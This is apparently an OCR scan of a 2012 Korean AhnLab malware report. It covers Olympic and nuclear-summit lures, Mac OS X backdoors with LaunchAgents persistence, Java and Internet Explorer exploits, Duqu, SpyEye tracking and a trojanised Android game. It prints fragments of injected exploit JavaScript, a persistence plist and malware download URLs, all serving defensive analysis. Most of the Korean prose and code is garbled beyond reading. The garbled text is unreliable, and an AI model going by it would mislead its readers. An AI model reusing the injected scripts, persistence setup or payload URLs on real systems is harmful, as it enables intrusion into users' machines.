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London 2012seatallocations.

The countdown is on to the London 2012 Games. As part of our preparations. we are
currently allocating seats to ticket holders. During this time ticket sales will be closed «

You will find out your seat locations in summer 2012 when your tickets will be sent to you
viasecure delivery. Please note these tickets will need to be signed for upon delivery. «

If you have any questions and you have not been able to find the information on this
website or through our Frequently asked questions, please call us on 0844 847 2012«

Olympic Games and Paralympic Games ticketsales AhnlLab
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Seoul Communiqué
2012 Seoul Nuclear Security Summit

We, the leaders, gathered in Seoul on March 26-27. 2012. renew the political
commitments generated from the 2010 Washington Nuclear Security Summit to work
toward strengthening nudear security, reducing the threat of nuclear terrorism, and
preventing temorists, criminals, or other unauthorized actors from acquiring nuclear
materials. Nudlear terrorism continues to be one of the most challenging threats to
internasonal security. Defeating this threat requires strong national measures and
internasonal cooperation given its potental global political economic, social, and
psychalogical consequences.

We reafim our shared godls of nuckear disarmament, nuclear nonprolferation and
peacel uses of ruclear energy.

Committed to seeking a safer word for all, we aiso all share the objectve of nudear

(=) securty. We recognize that the Nudear Securty Summit is a vakable process at the
highest polvcal level. supparting our jaint call to secure all vulnerable nuckear matenal in
four years. In this regard, we welcome the substantve progress being made on the
pditcal commitments of Partapating States since the Washington Summit
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var exb = document. creacel:lemem’.( ppletc');
emb,.secAccribuce( name ', app Le )3
emb.seviteribute( ' videh', 1 ):
end.sevAteribute( ' height', '1'):
C if (navigator.userigent.indexOf( n') = =1)¢

1 exb.setittribute( Tt o A )

11 emb.setAttribute( ' archive', j.jac'):
}

1 C else 1f (navigator.userAgent.indexOf( Mac') 1= -1){

emb . setittribute(

1 exb.setAttribute( a:

16 )

1 docwwent .body. appendChxld(enﬁa)AhnLab

1

19 </scripe>
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0| otAdz 21 A|Z]

otMFEE ZIHAIZI PCo| 2 |Aof 3¢ ofzflel mAUSE ct
SECE5t, ST IHUS2 Xt FUA™S 0123 ASHE=ICt
— 'filg,HHx XK AR SAXAR fimg.jar (— RIEL0]| ARREl= URL

— Tl ¥k ¥ fyritonk] J¥RHR  fret jar' (— Mac OSOf| ARREl= URL

imgjar TUS YESOIA A3 7HsE PE TRt Sefe| of Tl

2 7K UA2H refjar IUS Mac OS XOl|lA| A&l 7ksot oied &
=

00000000 07 00 00 01 03 00 00 80 02 00 00 00 [M&ij....... [ S
00000010 OB 00 00 00 FO 06 00 00 85 00 00 00 00 00 00 00 ....8.veceeernn.
00000020 19 00 00 00 48 00 00 00 SF SF SO 41 47 45 SA 45 ....H..._ PAGEZE
00000030 52 4F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 RO..............

00000040 00 00 00 00 O1 00 00 OO0 OO OO OO OO 00 00 00 00 AhnLab

A U HAERE HHE ARFsH REE oy KoM OSE
TSI A7 =5 AdE FEIF ZARYACL oiX|2T 2Hlz=

=R iy ofy mies CH22E5k= URLEE

1

_,.

£

<

ct.
9| = AROIN H0| Xt F|2HS 0lget T E0| BHS A
=|T QT 012 Oty | IshAls RiHIS HiEHSst Atz A
St7iLE H9t HHI0|ES Saf ZIAl HEOR SXIsHOF Sict

1B

(V3 MiZ=e| TIEHH)

— Dropper/Agent,25088.CA
— MacOS_X/Olyx

— EXP/Cve—2011-3544

— JAVA/Cve—2012-0507

X, MS 2EA P 0[2510] &
opMTE

E|l= Mac OS X

Sabpab XHtHo= 2ale oftMFC L Xt FFR(CVE—2012—
0507)2t MS I|A F|oF&(CVE—2009-0563)2 0|25t A=K}

O AARIS HHAIZICH

Y AMTFEE= AKX} AI™O| Preferences 201 com.apple.

PubSabAgent pfileS AAISHC.

[241-50] A44E epyme

AhnLab

0z
0x
rn
E_I
ne
ro
=
(V)
(@]
>
o2
El
R

o
=
QO
Q
5
ol

[az! 1—51] Mach—O u}°

21

B.AHEIEE X&EHo=z A5t flsi ASA AFQ

LaunchAgents Z20{ com.apple.PubSabAgent.plist IS AdA

[3&! 1-52] MME plist

AhnlLab

[32! 1-53] com.apple.PubSabAgent.plist

Ahnlab

C. sigd AgF== C&C MHZRE S THEO 2olXl 7|

—=
sRetCh 241 FAloll= C&C MH7F RE5HX| 20t &K

[22! 1-54] C&C MH F& A=

151 Standard query response, No such name

E|HIE NGOE E}ZICE2 S}= Mac 3=

=4 JEH E2MO= 0|43tE|n U= EIHIERL 2SI ElH|
E NGOs(Non—Governmental Organizations)S EZICZ sh= M
TSI REE|CE X FHHE 0[8SHCVE-2011-3544) 0| &
A== C&C A2t SAISI0] 2[F0lA MHE HES e

-

:

Tibet A= Mac OS X2t OfL|2} B=2 & Tl 2MHME 2

Al 4= Q= Cross—Platform E{Q| 2t T =0t

5] ZE Al 0SE #H|FsH= Z=

public static boolean isNindows()

{
String str = System.getProperty(“os.name"). tolowerCase();
return str.index0f("win®) >= 0;

public static boolean isMac()

{
String str = System. getProperty( me"). tolowerCase();
return str,index0f("mac") = 0;

public static boolean isUnix()
String str = System.getProperty(“os.name"). tolowerCase();

. AhnlLab

return (str.index0f("nix") >« 8) 11 (str.indexOf

22

A. Xtb FA™E 088t index.jar THUof 2fsH MHE file.tmp
ojel2 XHile| EARES ool Z=o Mdsict. Filetmp L=
AudioServer I 64bit= ZIU= AlSH THI0|CT

— /Library/Audio/Plug—Ins/AudioServer

[22! 1-56] Filetmp2| mH! EFR]

B. SiiE AMT== AAR A} A| XSS 2 MYE|=ZE of2He| 4
20] plist THUS MHEECE MAME plist THAUS S AFRXPL 2
918t miotc} AudioServer AT T} XSO ARHEICH

— /Library/LaunchAgents/com.apple.dockActions. plist

[37 1-57] XfSo=2 A3lz|7| 2lsH MME|= plist
aLibrarytauncha @b */Library/Launchigents/con.apple Dockctions piist® 0

align 10
atxmiVersiont_0 @b ‘<Txnl version="1.0" encoding="UIF-#"1> *, 08h

o ‘<CIDOCTVPE plist PEBLIC “-//Apple Conputer//BI0 PLIST 1,.0//708° “Bt
o “tp://www.apple.con/DT0s/Propertylist-1.0.0ta">" ,0An
6 “Cplist versiom="1.0>" san
o "<aict)’ ,oan
a0 9, Chegdlabel/keyd ", 0an
string>com.apple .docserver</stringd*, 8k
keg>Progran</key> ', Bih

@ 9, <string>’ 0

aliga 200
; char alibraryAwdiorif)
alibraryhudioPl @b “/Library/fudie/Pleg-Ins/fedioServer” 0

aliga ¥
aStringeyRumat @b “</string>” ,an
o 9, <kegrRunhtioad</key) ,0ah
o 9, <true/>" 000
o ‘</dicty’  man n a
o "</plist>T ean,0
at ® ‘-¢',0 1
212345678 b 12354787 .0
_estring ends

Mac OS XOf|A X} HQt IiX|E HH|0|ESH| T|0H*‘|E AT IR
ol o2 2unE St & "AZES0f HH0|E & 25t
H|0|E T2 IS MBSICE,

[T 1-58] Mac OS X2| AZEg|0] HH|0|E

’ (Rl == E 5|0 G|0|E
0| ofZIEAlof| 248104
LZES0] Y|0|E...
App Store

[ 1-59] HHIo|E MX

012} et

€ Apple o4% > 25 880§ HA0LE

o 2
2.5.1 71.4 MB

0.6 Java giciole 7 7.0 79.4 MB

) 2012-001 11 202.3 MB
o™ Sal.m 5.1.5 49.6 MB
O @ Apple 2EEMO| 4A| 1.0 658 KB
™  Remote Desktop #2}0} 3.5.2 3.7MB

™ iTunes 10.6.1  130.7 MB

Mac OS X 10,68 Java OIS 72 Java SE 68 1.6.0 312 R0l ojof Bais o

HO{2l AHBE YOI Bel AEEHO0IS M MBSIE WE 2EEHO| A}
RLiCh. Apple SLA %% & hut./ /www.aeole.com /legal/sla/ o4

.....Ahnlab

217 (uz o w) Grraass)

LIA| Z= AO|EE S5l fEEl= 2241 AlE 2HF o
MIc
Al ZE AOIER 2IE|T U= 2 AO|EoM 221AIY AIE
2 YRSt AMTSTL REUC) 0] AMTE AIZRIS| 22}
CIAIY A EFIE SXo = NiEEQloH ZEE 0S| w2t CHE

njelo| M-dEct.

E| LEA

[=Eeh

[:'-a::! 1_60] OH\-I=||:7}. ‘ITE
£ AIER 2l DN
O+ & mo/www s -acol/ vl x P
ORE 2E 2AY SAG SO S88G

| Z 2 AO|E

IZE - ujofn 1] 41 - Windows Internet Explorer

Sl 6 N L. X BleiGie. BB BB @ PHA®- Q5O 7

JiMG QR VATIEANTE LV LUXT HEEE  GARER EWIMEE » AL

| ERETECEPET] =
E’.'(H Al

- Aol sURl7} 62ame i m

- 3 @ o AhnLLab

siie & Ato|Eo]| EZstH SHO|X|ol ME ASZES W2t Xt
=

<met

AGFrTaV2EcY6FA2Ekr/anby6Far: 186Fad/1ife/cAEMmmont2E 4734/ script)]

<scripe>

var passwd

if(tusd) {
alerc ("ID§ %@Iwy{a ):

}
teipasm AhnlLab
tere~H UM AR Q@S MEa .

(32 1-62) ATRIE 0] H2 1
jLf (document.cookie.indexOf ('nb224=')==-1){ var expires=new Date()’

expires.setTime (expires.getTime () +12+60%60+%1000);
document .cookie='nb224=Yes:path=/; expres- sexpires. .cG‘{TS:’x"q()

><};£—L-re>~> ) Ah n[ab

otMACE HIZIXH= 2l AOIEO|AM CVE-2010-0806 £|2FES 0|2

document.write ("<ifram

[a2! 1-63] ATZIE 0|5 A2 2

[Kscript type="text/javascript™ src="swfobject.js"></script>

<script src=jpg.js></script>

<script type="text/javascript">

var GDSp3-navigator.userfgent.tolLowerCase();
1F(docu1|e1\t.c_ogk1e.indexDF("aanong=:)_==-1&&l:nsp3.inaexuf("nnt"):=-1&&cusp3.1nuean("spider")==—

<
kntm1>
::: <body>
expi <script>
docu V3" GUKGX4="4x30";
i (c|//RANCozt5=navigator .userAgent .toLoverCase();
//Ntgh2=( (RANGOZLS . index0F ('windows nt 5.1°)t=-1)] | (RAKGOZLS.index0F (‘windows xp')t=-1));

:«xnu //if (*Ntgh2| |navigator.userfgent.toLowercCase().index0f ("Wx6D"+"¥x73"+ " Wx69¥x65 Wx38™")1=-1]|

eval - % o
B33 //1ocation.replace(about:blank”);

sugs |</script>

371E <button id="ZzuuNUM1" STYLE="DISPLAY:NONE" onclick="ALyxu7();"></button>
6E56 <script src="'gicrFgé6.Js"></script>

2a7o|<SCript language="javascript™>

var xJoD5 =

XDEXKr2+ ' *+'PO gBs81 gl

gBSSFFFF ' +aqbss1+* e

g q
“+-P0atyg

HAF *+'PO 0aGg Ah L bn

1F B 755P0aGgBSSELB n a g
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ASYEE U2t ABMOZ QEE|E ANTC Z29} MABS

Of2Het 2t

[a2! 1-64] REX|2t ot md

1 http://muama.df-1 p e poe . con/ test/test . exe
Z  http://rama.df-Lesmte. com/test/tesx. exe

[A2! 1-65] FZE ofd mielo| Ml

@ sample.a O] x]
mEE HIE 2NN BARWNE) =D Z8FH) »
QH2 - - | Paa o 8d |G-
Z2(D) [ D:WASECWdhleeWwork¥Wsample,a = 0 | ‘
ng @ =50 39 leesl exe g
NE A% ‘ AhnL§ y

[32! 1-66] 77 AMIF=o| Fx| A= (EX : Symantec)

W32 Duqu installation process

B Document

opened,
triggers exploit

Exploit !oadse

e m " shellcode
Shellcode Shellcode
decrypts driver <
and installer m O
T Installer

0. installer (dl) al decrypts three
Shelicode +—> files and passes

executes driver execution to the

'___‘ - - main
- ] component
L g e - Duqu P
! X main DLL
I Driver injects
: installerinto —> Services.exe

services.exe
1 Load point
1
1

driver

e Drlver Recelved Config file

0| AT UEH YEL XP= ws2help.dll AIAE] M0
HXT|H = ml2 ws2helpXP.dIZ2 B EZICH Windows 72
C:WWindowsWSystem32WHIMYM.dll 0| M-A=ICE 0245t |l
AO|EOf MUE AFZEES Sl AddFCof 2K A=E 2

2ot XIS AX[sHOF SiTt.

[ 1-6] 2ATE Q0| KIF OIREI Hory

M= URL

CVE-2010-0806 (MS10-018)
Windows 0S CVE-2011-1255 (MS11-050)
CVE-2012-0003 (MS12-004)

CVE-2012-0754
CVE-2011-2140

Adobe Flash Player CVE-2011-2110
CVE-2011-0611
JAVA CVE-2011-3544

|>

AU MEHOR otajxl 57 otMTCo| WY

SIX| A|Zte 2 2012 32 20 AlTHEION 7| 2273 (New
Dugu Sample Found in the Wild)E S5 AEALI(Stuxnet)2| HE

2LHE FHDuqu) AT =0 HAH0| UAHEUSS LHIICE

i

>
o
[>

10| SCADA(Supervisory Control And Data Acquisition) Z+
UK HIFHA Q| 2US HislElH = Zin 2|, S7= ZH
ot HELF0IM HEE +rol7| fitt =Xz HE L
ol HHE FFC| HYS AN Z71SH [22 1-66]
AR H77|E =210|t(sys) TFUO|CH

;I;e r ng
- =

o |> ‘:I; >r
r'E q_j

ic]
my
S
B{II

0
1=

[

[[H I Xﬂ”ﬂ EET | A IES XIEHOR CE HEES M6t

O RIS s A2 FFECL

2

[aZ! 1-67] 77 HA| M=t A]Zto] E7|=! Time Data Stamp
pFile Data Description Value
0OO00OE4 014C Machine IMAGE_FILE_MACHINE_|386

NQ0C00EE o0oc Rlaoic P Y-S

fooooooes  aFasD7EA  Time Date Stamp 201202723 06:07.06 UTC |
oot LB e L

000DODFO 00000000 Number of Symbols

000D00F4 0DEOD Size of Optional Header

0000DOFB 0102 Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_32BIT_MACHINE

AhnLab -

Ol2{st HOt 20| A SCADAR} Z+2 At 7[dt AARIS HSS1|
LIHA= CtE|HIO[2{A(Anti—Virus) AT EQ0{E Zakst EF{AR}
Ql(TrusLine)t Z2 MAR AAH M HOt £2MS AIESH= A

o| E=Ho|ct.

- Win—Trojan/Duqu.24320(V3, 2012.03.23.01)

ALO[OI0 = E2)(Tookil)S Salf AMNTEE FMZE! ff, otMTS
HMZXEZ O 4 AO|EL| AFSAT HHE e AAXIE 4d ot

US Eall FME 4 QICh ASECOIAE 2012 127]| St &6t
ALIO[of0] AHTCE MESS o= Amo|oto|7t st 7|
O AIBXE A HEHRl USE 2=k MM 2AISIICE
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Usisoz Amojofols OtNTET} HEE oY E= Hort
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AZIOZ AHOIESHA| B2 AIBRL FHo0| ZRfSls =S 2
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[ 1-68] SpyEye 32 th&f 7IAS2| X[21H 2IX| 22

SpyEye 37 & 7|¢¥ X215 2%
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wEf2
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AhnL3ab

Bt 7|2IES UEEHE ER5 Aoz (HEE 220IHZIS X|I5|
= 7|HE0 ESERCH, TXE AR AH|A, F& FXF S2| &A1
2 LIEpiCH

[3Z! 1-69] SpyEye 32 CHA 7|E9

SpyEye 34 ¥ 7|Y ©F

mowy
% 2R
=0
=38 Ex
u g3

s AYE

AhnlL3ab

gt 71X] E0[gt AFE2 Amtoloto] MIZXIS| 32 o] == &
AOIE Soll= 22te! &3 Tl MHIAS MSsHs SSAE 2
g=lo] ACk= FHolck,

QHAUIN 2Y5t= T2l MIE{(Packet Center)2| T4 AJAEIQI
SpyEYE C&C Tracking A|AHIS Eaf S5t Zat Amo|ofo|7}
EES ARSAH AN et ASE MESh= C&C(Command and
Control) M7} X[2| E1 U= =7h= [A2 1-70]2] =A4 2=t Zet,

[T 1-70] Spyeye C&C At X[2|E ||

Ahnlab

|
W

17 T 155

C&C M= URE 0l=0| LS A2H 1 2lof| 2{Aotet 23
2l0|Lt 242 20| 2Z 0] Tt 0|2{8F C&C A CHEEO] 8

ZE AAH EE PRTE ABEH AL RIS 2O BAE
2k CHEARAE Amtojojo] HEAP SIS als # Aols

Sofl= 812 38 7I9iS0| matElof Q| Ble Ol ] T 1
SE| ZIMEIRE Hot 9Bio| 2|5 HACR shAlt 4 Utk 1
BiL oI 287IEt 2al0AS S8l Jatsts ABRISS A
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c. DHIY o4HTE Ol

Another fake Angry birds

QIERO0|E E3E0| 2 QVIE BTHA ZHiY J|gte| tMTE &
ot X0 QCH AT E= F2 Q7| U= o= AFSIH At
EXPH MAIHAILE f=ot=0l, O theSE WX|X| i 0|8 &=
Q17| AlY & StLt7} HEZ 'Angry Birds'Ct.

ofHofl MEA 2 AEFE HA| RE Y Angry Birds2 AY

0 A¥F=EE B2 MEDIE| DM XS LHA=UCH [T
1=71]2 20| Angry Birds AIJLZ |Fste UCk =2 M=t
E| =20\ 0RlQ| RE= L2|LEIED 31, FF YE =282
2 h22Es1| flsh 0183h= 87t ok ARSARS0| oy ol
257 gt

[22! 1—72] manifestof] LIEILFE= 24A AH|A

<service android:name=[com.neworld.demo.UpdateCheck"/}
</application>
<uses-permission android:name="android.permission. ACCESS_NETWORK_STATE"/>

<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>

<use; rmissign an o'd ndroid.permission. INTERNET"/>
<us mgﬁ ndroid.permission.READ_PHONE_STATE"/>
<usfs- name="android.permission.READ_LOGS"/>

L 232" codeaid.aiacdl ; By

e oA == MX| Al 'com.neworld.demo.UpdateCheck'2H=
b MH|AE ASHSITE 0] MH|AE 49| assets ZEH0f| MEE 1
2 It (mylogo.jpg)oll S2ll &74=2 ELF 20| by mils &7t
2 A35Io] of2hiet 22 2Ao|xol SEZ XEXo = H~JSITE

A} ADERE M EF|

>.
o

- UM 2 A=
— C&C Aot SAlstol 33 430 : T2 A7)

(V3 MIBRQ| TITHH)
— Android—Exploit/Rootor. TC

[22! 1-73] A ELF mjelo] 274X JPG Tt

P

Simple Studio

Ahnlg&

| ELFQ| binary 2=

[2&1-74] JPGO]| =

IISHE]
2T

PO, Leom/neworld/demo/UpdateCheck:->b:Ljava/lang/String.

, 9, Leom/neworld/demo/UpdateCheck; ->biLliava/lang/String.

§0), Leom/neworld/demo/UpdateCheck: ->getContentResolver () Landr

_ AhnLab»

[22! 1-76] C&C At SAl I=

6E 63 6E
6E 68 6E
6E 63 6E

26
01. 243t =
d. ofd3ac M EF

STQS FN AIZo=E WS = U= ANEE Hot 2En UiS
O] S0ilkli= ABXIIH SRSt ™S §t Qt=20|= ADIEES PCOj| S1AS off WS & Q=

0 SHIZ OAISHT 0] CHE oS RIAISCE,

[2& 1-77] A E0{2t 712 E2fjojof| SEE 42| &= (EX : Distimo)

NOW OVER 500K APPLICATIONS IN GOOGLE PLAY
NUMBER OF AVAILABLE APPLICATIONS (WORLDWIDE)

750
B ;/;//;V/‘k/j//;/;

250

DISTIMO

Thousands

2011-11 2011-12 2012-01 2012-02 2012-03 2012-04

U2 AOEE0]| Hxloh= YH2 OSEZ X4 CH=C) 0f0|E2 2=(Jail Break)2 HMI2lstH 72X
E= MELE| OIS 31&3tk= HA =0l

A0IEE MIZALE SAIAL SOIM 2Esk= 0Bl Z8f6lo] 42 0loM ¢S HiZ3IH, dXIsh=

oz WARONE Soll 2= WS SX(Bit. B tEZ0

T

PI=RO0|S ADIEE MBRISS WS MX[5H| UsH F2 712 MXIeH QU= AN Apps, 72 Play AE
OIZ MEBI7{LH QIE{ OIS 0IBBIT Ei QIEfL0|Lt EHIE S 018510] TS WS tiezc

g 4= =0, 0] 22 ADEES PCO|l HZsHoF BiCt.
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PCO| AOIEEZ sl ¢S MX[ot= W2 CHA| 5 7HXIZ L = UCh A Bml= USB =210|H 4. USB C|HZA
DE=E XA APK OIUSE ANEEECE T EAlSH £ ADEE0|AM AX[5H= AO|Ct USB E210|H USB C|HZ2 QIEZ0|E0N S&et= Y=S HIAES M ARESH= 7|S0IC} AREXL USB ClHES
DEZ ANEES HZolH ADIEES| MEA= USB MEALL 22 7SS STt 0|ZA SAE AX| MEASHH QIEZ0|= AOIEEL| ADB H|=0| 243}EICE ADBE 083 & 4~ = 2 =1t 2.

ofU2 otE20|= 0S9| QAEMHLINE Sall AX|E 4 QUCH F I W2 ANLEES PCoj| HZist
ted | =O0LIXME Safl X[ 4= ULt F i 2 ¥ = | = [2! 1-79] USB CltZ

O Huxt g4

PCE 0I5} CI2Z =5t Ot=20|=8 WS APK SIS 7HEIC, = USB CitiZ

_ - ol 21%| 5l
|Ek= 0| ADIEEO| OfE 7|52 HESH=A| AIRA} @ =12 Az 29 #X 53

x = =5
oflA| 2oizc= et &l Z2HAS AHUHFA ECHEX| == 0| S26ks ol et HersS ALEXiof|

>||

i HAIE W b YHS
- He C
Al HOjFE R Q=R0|E9| 8Ot Tl 5 SiLiCY, ©

AHE X} 2IE{ O] A (UN)

AH DE A8

ADBE 0|&3fl I=20|= ADEE0| WS HX[617| YAz Qt=20|=0| ¥ &  'USB CIHY'
. L , _ _ SUECH RA=ASHC
o 4 Sl AN = B=0| 51 HEHo{oF ST
. e U= 2252
ADB(Android Debug Bridge) : ADBE LCiQksh HHOE S5l At=E20|= 2IX|ME ARRSHE 71712
QB M= AUBE T2 HX[Y o+ JTE of= AE=20|= 082 & CHE E2t 7IS0|ct I5E =
HIOE 4= U= sHECE [22! 1-80]2 ADB 1.0.25 HEO0IM AL THsEt SN & URCHAIMISH LI
E703o|zh =2 3A! optel

Play AE0{0|IM HiZ == ¥S SICH SHX|2 METHE| OIS 5185t
2 Qt=20|= JHLUR} ALO|EOIM oI5 4 QlCh?
[=]

=
CR0|= ADIEE AIBALS HIRE & 4 Q= AA AIRS 5185tn UC,

L ot=20|=0] 44t o of
2 SLALE ADIEE NZAOIA HBE S SRS | KNS HEA| o 4 S 24 S0}
Android Debug Bndge version 1.0.05
St71 W=o|ct, o
devices - list all connected devices
connect <host>:<port> connect to a device via TCP/IP
disconnect <host>:<por> disconnect froma TCP/IP device
device commands
adb push Jocal> <remote> copy file/dir to device
adb pull <remote> <local> copy file/dir from device
d ] adb sync [ <directory> | - copy host->device only if changed (see 'adb help all)
adb shell - run remote shell interactively
717| &2 adb shell <command> - nremote shell command
adb emu <command> run emulator console command

7|7| 2| X}

adblogeat [ <filter-spec> ] - View devicelog
adb forward <local> <remote> - forward socket connections
forward specs are one of:
tep:<port>
localabstract:<unix domain socket name>
localreserved:<unix domain socket name>
localfilesystem:<unix domain socket name>
dev:<character device name>
)dwp:<process pid> (remote only)
adbjdwp ~list PIDs of processes hosting a JDWP transport
adbinstall (4] [4] <file> - push this package file to the device andinstallit
(- means forward-dock the app)
(- meansreinstall the app, keepingits data)
adb uninstall (k] <package> - remove this app package fromthe device
(k' meanskeep the data and cache directories)

g

'otE20|=9| HOt 7|5 http: //www.ibm.com/developerworks/kr/library/x—androidsecurity/ 20t=20|= JHLX} AIO|E. http://developer.android.com/guide/developing/tools/adb.html
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[22! 2-10] CVE—2012-0158 {2FA
CVE-2012-0158 Lea| n.more at Natuonal Vulnerability Da(abacg (NVD)

(under review) ity Rating « Fix Information = Vulnerable Software Versions = SCAP Mappings

The (1) ListView, (2) ListView2, (3) TreeView, and (4) TreeView2 ActiveX controls in MSCOMCTL.OCX in the Common Controls in
Microsoft Office 2003 SP3, 2007 SP2 and SP3, and 2010 Gold and SP1; Office 2003 Web Components SP3; SQL Server 2000 SP4, 2005
5P, and 2008 SP2, SP3, and R2; BizTak Server 2002 SP1; Commerce Server 2002 SP4, 2007 SP2, and 2009 Gold and R2; Visual
FoxPro 8.0 SP1 and 9.0 SP2; and Visual Basic 6.0 Runtime allow remote attackers to execute arbitrary code via a crafted (a) web site,
(b) Office document, or (c) .rtf file that triggers "system state” comuption, as exploited in the wid in Aprl 2012, aka "MSCOMCTL.OCX
RCE Vulnerability.”
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— Exploit/Cve—2012—-0158(2012.04.21.00)
— Win—Trojan/Etchfro.99839(2012.04.21.00)
— Win—Trojan/Geddel.11176(2012.04.21.00)
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